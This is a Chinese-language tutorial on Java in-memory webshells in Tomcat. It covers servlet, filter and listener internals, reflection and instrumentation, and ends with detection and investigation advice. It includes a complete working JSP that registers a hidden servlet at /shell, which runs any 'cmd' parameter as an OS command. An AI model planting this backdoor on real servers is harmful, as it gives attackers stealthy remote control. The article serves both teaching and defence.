文章目录
介绍:
内存马,也被称为无文件马,是无文件攻击的一种常用手段。虽然由来已久,但是在此之前并未“大红大紫”。近年来盛行于攻防演练之中,攻防演练从2016年的几家参演单位,到2020年扩充到了几百家参演单位,内存马也越来越多的被提起,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。
内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,Windows Management Instrumentation(WMI)和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。以下这些打包好了,点击直达
一、内存马简介
1.1 webshell变迁
webshell的变迁过程大致如下所述:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
1.2 如何实现webshell内存马
目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现:以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
1.3 内存马类型
根据内存马注入的方式,大致可以将内存马划分为如下两类
1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
二、背景知识
2.1 Java web三大件
2.1.1 Servlet
1.什么是servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
2.请求的处理过程
客户端发起一个http请求,比如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法
3.servlet生命周期
1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。
2)servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
3)服务器关闭时,销毁这个servlet对象,执行destroy()方法。
4)由JVM进行垃圾回收。
2.1.2 Filter
简介
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
基本工作原理
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
2.1.3 Listener
简介
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
ServletContextListener:对Servlet上下文的创建和销毁进行监听;
ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换;
HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。
HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;
ServletRequestListener:对请求对象的初始化和销毁进行监听;
ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
2.2Tomcat
2.2.1简介
简单理解,tomcat是http服务器+servlet容器。
Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。
2.2.2Tomcat架构设计
前面提到过,Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器和容器,连接器用来处理外部网络连接,容器用来处理内部 Servlet,我用一张图来表示它们的关系:
一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。
一个engine可以对一个多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrapper,也就是servlet。这个映射关系,通过mapper组件来关联,mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:
2.3 其他java背景知识
2.3.1 java反射
反射提供的功能,能在运行时(动态)的
1.获取一个类的所有成员变量和方法
2.创建一个类的对象
a.获取对象成员变量&赋值
b.调用对象的方法
c.判断对象所属的类
在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。
在使用Java反射机制时,主要步骤包括:
①获取 目标类型的Class对象
②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
2.3.2 java instrumentation
Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。
三、内存马实现
这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。
<%@ page import="java.io.IOException" %>``<%@ page import="java.io.InputStream" %>``<%@ page import="java.util.Scanner" %>``<%@ page import="org.apache.catalina.core.StandardContext" %>``<%@ page import="java.io.PrintWriter" %>`
`<%` `// 创建恶意Servlet` `Servlet servlet = new Servlet() {` `@Override` `public void init(ServletConfig servletConfig) throws ServletException {`
`}` `@Override` `public ServletConfig getServletConfig() {` `return null;` `}` `@Override` `public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {` `String cmd = servletRequest.getParameter("cmd");` `boolean isLinux = true;` `String osTyp = System.getProperty("os.name");` `if (osTyp != null && osTyp.toLowerCase().contains("win")) {` `isLinux = false;` `}` `String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};` `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();` `Scanner s = new Scanner(in).useDelimiter("\\a");` `String output = s.hasNext() ? s.next() : "";` `PrintWriter out = servletResponse.getWriter();` `out.println(output);` `out.flush();` `out.close();` `}` `@Override` `public String getServletInfo() {` `return null;` `}` `@Override` `public void destroy() {`
`}` `};`
`%>``<%` `// 获取StandardContext` `org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();` `StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();`
`// 用Wrapper对其进行封装` `org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();` `newWrapper.setName("jweny");` `newWrapper.setLoadOnStartup(1);` `newWrapper.setServlet(servlet);` `newWrapper.setServletClass(servlet.getClass().getName());`
`// 添加封装后的恶意Wrapper到StandardContext的children当中` `standardCtx.addChild(newWrapper);`
`// 添加ServletMapping将访问的URL和Servlet进行绑定` `standardCtx.addServletMapping("/shell","jweny");``%>
执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。
四、内存马检测与排查
4.1源码检测
在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:
①新增的或修改的;
②没有对应class文件的
③xml配置中没注册的
④冰蝎等常见工具使用的
⑤filterchain中排第一的filter类
还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。
另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马
4.2 内存马排查
如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。
如果是jsp注入,日志中排查可疑jsp的访问请求。
如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200